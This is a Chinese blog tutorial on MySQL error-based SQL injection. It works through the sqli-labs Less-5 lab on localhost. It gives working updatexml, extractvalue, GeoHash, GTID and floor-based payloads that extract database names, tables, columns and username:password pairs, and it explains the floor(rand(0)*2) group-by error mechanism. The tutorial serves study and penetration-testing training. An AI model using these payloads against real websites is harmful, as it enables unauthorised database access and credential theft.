SQL报错注入

君衍.

  • 一、sqllabs第五关报错注入
    • updatexml报错注入原理及思路
  • 二、常见的报错函数
  • 三、floor报错注入原理
    • 1、概念
    • 2、函数回顾
      • 2.1 rand函数
      • 2.2 floor(rand(0)*2)函数
      • 2.3 group by函数
      • 2.4 count(*)函数
      • 2.5 函数综合报错
    • 3、报错分析
    • 4、总结

一、sqllabs第五关报错注入

之前我在这篇文章SQL注入基础思路讲解了联合查询注入,使用union关键字,在数据的返回位置进行数据查询,所以这里我们对上面这篇博客进行补充:报错注入

这里我使用sqllabs第五关进行演示,首先,报错注入它的应用场景便是基于当前页面存在注入点,却没有返回任何数据的位置,使用union进行联合查询无效,无法显示数据,但是能回显出对数据库的报错信息,这时我们采用报错函数对数据进行读取注入:
SQL报错注入_第1张图片
这里我们可以在后台查看下源码,逐行说下

# 首先这里定义了SQL查询语句,从名为users的数据库表中选择所有列,id值就是给定的$id值
# 查询使用limit 0,1限制结果集只包含一条记录
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 这里执行SQL查询语句并将结果保存在$result变量中
$result=mysql_query($sql);
# 然后从查询结果中获取一行数据存储在$row数组中
$row = mysql_fetch_array($result);
# 这里主要判断是否成功获取一行数据
	if($row)
	{
  	echo '';	
  	echo 'You are in...........';
  	echo "
"
; echo "
"; } else { echo ''; print_r(mysql_error()); # 主要这行代码,输出MySQL数据库错误信息 echo "
"; echo ''; } } else { echo "Please input the ID as parameter with numeric value";}

SQL报错注入_第2张图片
所以此处,我们可以使用报错函数使之返回数据:

updatexml报错注入原理及思路

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

SQL报错注入_第3张图片
这里我们选择报错注入,所以也就涉及到了一个函数:updatexml函数
我们使用的是updatexml注入报错,这里我们就要去想updatexml为啥会报错?
首先updatexml的函数格式为updatexml(xml_doument,XPath_string,new_value);所以说这里我们需要认识到它三个参数的含义是什么?

  • 1、第一个参数其实就是XML的内容
  • 2、第二个参数就是需要更新update的位置XPATH路径
  • 3、第三个参数就是更新之后的内容

好的,认识上面三个参数之后,其实这里我们还需要知道,我们使用updatexml(1,concat(0x7e,(select user()),0x7e),1)为什么会显示出root@localhost?
了解到第一个参数以及第三个参数其实这两个参数是可以随便写的,它只需要利用第二个参数,来校验你输入的内容是否符合XPATH格式。
可能这里有人要问为什么要添加0x7e,这个是因为0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。

所以这里我们就是利用updatexml函数的报错,来回显出我们想要查询出来的内容。好的,到这里我们一个报错函数的原理我们已经理解了,下面就是使用这个报错函数进行注入:

所以就老规矩,先查数据库名,再查表名,最后列名输出。
数据库名:

http://127.0.0.1/sqli7/Less-5/?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+

SQL报错注入_第4张图片
原理:
SQL报错注入_第5张图片

表名:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

SQL报错注入_第6张图片
原理:
在这里插入图片描述
列名:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

SQL报错注入_第7张图片
原理:
SQL报错注入_第8张图片
注入:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

SQL报错注入_第9张图片
原理:
SQL报错注入_第10张图片
这里我们又看到查询回显内容很少,这里就因为updatexml报错最大只能容纳32个字节,所以这里我们就得想办法让它回显出所有内容,那么我们就要用到limit来分段显示:

http://127.0.0.1/sqli7/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

SQL报错注入_第11张图片
原理:
SQL报错注入_第12张图片
到这里我们使用updatexml函数进行注入就已经完成了,下面我们来看看其他报错函数。
补充
对于报错注入回显限制问题我们共两个方案:

#1.用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
and  updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

#2.使用concat,利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示,不推荐)
and  updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

二、常见的报错函数

这里注入思路就和一里面一样,SQL语句内部差不多,所以这里不过多赘述。
(如果里面有过滤还需绕过进行注入)
1、updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

使用方法:

?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

SQL报错注入_第13张图片
2、extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

使用方法:

http://127.0.0.1/sqli7/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+

SQL报错注入_第14张图片
3、ST_LatFromGeoHash()(mysql>=5.7.x)

?id=1' and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

SQL报错注入_第15张图片
4、 ST_LongFromGeoHash(mysql>=5.7.x)

?id=1' and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

SQL报错注入_第16张图片
5、GTID (MySQL >= 5.6.X - 显错<=200)
GTID:GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。
GTID_SUBSET() 和 GTID_SUBTRACT()函数可以拿来实现报错注入
函数原理:

  • GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
  • GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
  • GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
#GTID_SUBSET函数
gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
#GTID_SUBTRACT函数
gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

SQL报错注入_第17张图片

SQL报错注入_第18张图片
6、ST_Pointfromgeohash (mysql>=5.7)

?id=1' and  ST_PointFromGeoHash(version(),1)--+

SQL报错注入_第19张图片
7、floor注入

(select 1 from (select count(*),concat(回显查询位置,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取表数据
')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获取users表里的段名
')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

三、floor报错注入原理

floor是mysql中的函数,而报错注入则是结合了这几个函数:groupby+rand+floor+count完成的注入。

1、概念

floor报错注入就是利用 select count(*),(floor(rand(0)*2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

2、函数回顾

下面我们来回顾下这几个函数:count、group by、floor、rand

2.1 rand函数

rand()可以产生一个在0和1之间的随机数
SQL报错注入_第20张图片
直接使用rand函数每次产生的数则不相同,但是如果我们提供了一个固定的随机数0之后:
SQL报错注入_第21张图片
这里我们可以看到值是固定的如果提供一个固定的0,这个随机数也可以称为伪随机(产生的数据都是可以预知的),我们这里可以查看多个数据:
SQL报错注入_第22张图片
SQL报错注入_第23张图片
这里我们可以看到产生第一次的随机数与第二次是完全一样的,好的,知道了rand函数我们下面看floor函数与rand函数配合使用。

2.2 floor(rand(0)*2)函数

首先floor函数作用就是返回小于等于括号内该值的最大整数。
同时,rand函数则是返回一个0到1之间的随机数,所以,floor(rand(0))产生的数只有0,这样也就不能实现报错了,所以这里我们需要乘以2,下面我们在数据库中查看下:
SQL报错注入_第24张图片
这样我们便可看到全为0,无法完成我们的报错,所以下面我们乘以2,使其返回0到2之间的随机数,然后配合floor()就可以产生确定的两个数,也就是0与1,如下图所示:
SQL报错注入_第25张图片
这里我们便可看到,它产生了一串固定的随机种子数列,为0 1 1 0 1 1 0 0 1 1 1 0 1,当然了光这两个函数配合还是无法实现我们的报错注入的,所以下面我们接着看group by函数。

2.3 group by函数

首先group by主要是用于对数据进行分组的,即相同的为一组。
下面我们来简单看下:
SQL报错注入_第26张图片
以上是users的原表,下面我们进行分组,同时使用别名来代替属性:
SQL报错注入_第27张图片
同时也可以省略as:
SQL报错注入_第28张图片
然后使用group by函数进行分组,按照x进行排序,同时需要注意的是最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值:
SQL报错注入_第29张图片

2.4 count(*)函数

count(*)统计结果的记录数
这里可以进行统计总共的数值,如下图所示:
SQL报错注入_第30张图片
这里就是对重复性的数据进行整合,然后计数,x为某一类的数量。

2.5 函数综合报错

select count(\*),floor(rand(0)\*2) x from users group by x;

SQL报错注入_第31张图片
这里我们根据前面几个函数来理解这个语句的意思,原本意思是统计后面产生随机数的种类并每种数量。分别产生我们可以在上面知晓。
产生的随机数:0 1 1 0 1 1 0 0 1 1 1 0 1
理论输出:
0 5
1 8
0是5个,1是8个,但是它最后却产生了错误,下面我们进行报错分析。

3、报错分析

首先MySQL遇到该语句时,会建立一个虚拟表,这个虚拟表有两个字段,一个是分组key,一个是计数值count(),也就是对应于实验中的username以及count()
然后在查询数据的时候,首先需要查看虚拟表中是否有这个分组,如果有,那么计数值加1,如果没有那么就创建一个这样的分组。同时,根据MySQL官方文档,在查询过程中如果使用rand(),那么这个值就会被计算多次。
**即为若使用group byfloor(rand(0)*2)会被执行一次,如果虚拟表不存在记录,插入虚表的时候会再被执行一次,我们可以看下floor(rand(0)*2)报错过程,原本floor(rand(0)*2)查询的值是固定的,而报错实际上是floor(rand(0)*2)被多次执行导致的,**如下:

1、查询前默认会创建空虚拟表如下:

SQL报错注入_第32张图片

2、取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算)

SQL报错注入_第33张图片

3、查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕

SQL报错注入_第34张图片

4、查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

SQL报错注入_第35张图片

5、查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕:

SQL报错注入_第36张图片

6、查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

SQL报错注入_第37张图片

7、查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入

SQL报错注入_第38张图片
到这里,我们会发现1这个主键已经存在过虚拟表中了,而新计算的值为1,之前我们已经有1了,这就与MySQL的主键值必须唯一相违背,所以就会报错。

4、总结

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand()*2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand()*2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

这里我们可以1来作为随机数种子,如下:
SQL报错注入_第39张图片
最后还需注意的是,我们采用报错注入从数据表中读取了三条有效的数据,如果有效数据不足三条的话,也是无法触发floor报错信息的。

你可能感兴趣的:(渗透测试,网络安全,sql,数据库,python,java,linux,web安全,网络)